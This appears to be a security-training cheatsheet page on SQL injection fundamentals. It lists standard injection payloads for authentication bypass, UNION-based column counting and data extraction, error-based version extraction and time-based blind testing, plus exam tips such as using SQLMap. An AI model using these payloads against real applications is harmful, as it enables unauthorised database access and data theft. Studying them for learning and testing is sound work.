SQL Injection Fundamentals
Web
Overview
Understanding and exploiting SQL injection vulnerabilities.
2
Exercises
2
Flashcards
1
Mind Maps
Cheatsheet
Detection
' OR '1'='1 # Basic auth bypass payload ' OR 1=1-- # Tautology payload with comment " OR ""=" # Double quote auth bypass
Union Based
' UNION SELECT NULL,NULL,NULL-- # Determine column count ' UNION SELECT 1,user(),database()-- # Extract user and database name
Error Based
' AND extractvalue(1,concat(0x7e,(SELECT @@version)))-- # Error-based extraction of version
Blind
' AND SLEEP(5)-- # Test for time-based blind SQLi ' AND IF(1=1,SLEEP(5),0)-- # Conditional time-based check
Command Examples
Common Pitfalls
- Wrong column count
- Not URL encoding
Exam Survival Tips
- Use SQLMap for speed
- Check all parameters